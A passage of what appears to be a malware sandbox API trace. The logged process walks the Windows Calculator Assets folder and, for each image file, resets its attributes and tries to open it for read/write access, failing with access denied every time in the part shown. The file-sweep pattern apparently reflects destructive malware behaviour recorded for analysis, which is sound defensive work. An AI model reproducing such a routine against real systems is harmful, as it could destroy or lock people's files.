	[0090.382] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.382] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.382] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorLargeTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-black_scale-100.png"
	[0090.382] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorlargetile.contrast-black_scale-100.png")) returned 0x20
	[0090.384] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.384] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorlargetile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.384] GetLastError () returned 0x5
	[0090.384] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.384] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c95d1cc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c95d1cc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c95d1cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorLargeTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.384] wcscmp (_String1="CalculatorLargeTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.384] wcscmp (_String1="CalculatorLargeTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.384] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2e347a8
	[0090.384] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.384] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.384] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorLargeTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-white_scale-100.png"
	[0090.384] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorlargetile.contrast-white_scale-100.png")) returned 0x20
	[0090.388] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.388] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorlargetile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.388] GetLastError () returned 0x5
	[0090.388] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.388] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c95d1cc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c95d1cc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c95d1cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorLargeTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.388] wcscmp (_String1="CalculatorLargeTile.scale-100.png", _String2=".") returned 1
	[0090.388] wcscmp (_String1="CalculatorLargeTile.scale-100.png", _String2="..") returned 1
	[0090.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0090.388] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.388] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.388] wcscat (in: _Dest=0x4ebc178, _Source="CalculatorLargeTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.scale-100.png"
	[0090.388] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorlargetile.scale-100.png")) returned 0x20
	[0090.389] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.389] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorlargetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.389] GetLastError () returned 0x5
	[0090.389] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.389] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c95d1cc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c95d1cc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c95d1cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorMedTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.389] wcscmp (_String1="CalculatorMedTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.389] wcscmp (_String1="CalculatorMedTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e347a8
	[0090.389] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.389] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.389] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorMedTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-black_scale-100.png"
	[0090.389] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatormedtile.contrast-black_scale-100.png")) returned 0x20
	[0090.400] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.400] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatormedtile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.400] GetLastError () returned 0x5
	[0090.400] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.401] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.401] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c95d1cc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c95d1cc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c95d1cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorMedTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.401] wcscmp (_String1="CalculatorMedTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.401] wcscmp (_String1="CalculatorMedTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e347a8
	[0090.401] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.401] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.401] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorMedTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-white_scale-100.png"
	[0090.401] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatormedtile.contrast-white_scale-100.png")) returned 0x20
	[0090.405] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.405] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatormedtile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.406] GetLastError () returned 0x5
	[0090.406] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.406] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c983426, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c983426, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c983426, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorMedTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.406] wcscmp (_String1="CalculatorMedTile.scale-100.png", _String2=".") returned 1
	[0090.406] wcscmp (_String1="CalculatorMedTile.scale-100.png", _String2="..") returned 1
	[0090.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2e347a8
	[0090.406] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.406] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.406] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorMedTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.scale-100.png"
	[0090.406] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatormedtile.scale-100.png")) returned 0x20
	[0090.406] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.406] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatormedtile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.406] GetLastError () returned 0x5
	[0090.406] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.407] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c983426, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c983426, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c983426, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorSmallTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.407] wcscmp (_String1="CalculatorSmallTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.407] wcscmp (_String1="CalculatorSmallTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.407] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2e347a8
	[0090.407] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.407] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.407] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorSmallTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-black_scale-100.png"
	[0090.407] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsmalltile.contrast-black_scale-100.png")) returned 0x20
	[0090.407] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.408] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsmalltile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.408] GetLastError () returned 0x5
	[0090.408] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.408] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c983426, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c983426, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c983426, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorSmallTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.408] wcscmp (_String1="CalculatorSmallTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.408] wcscmp (_String1="CalculatorSmallTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2e347a8
	[0090.408] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.408] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
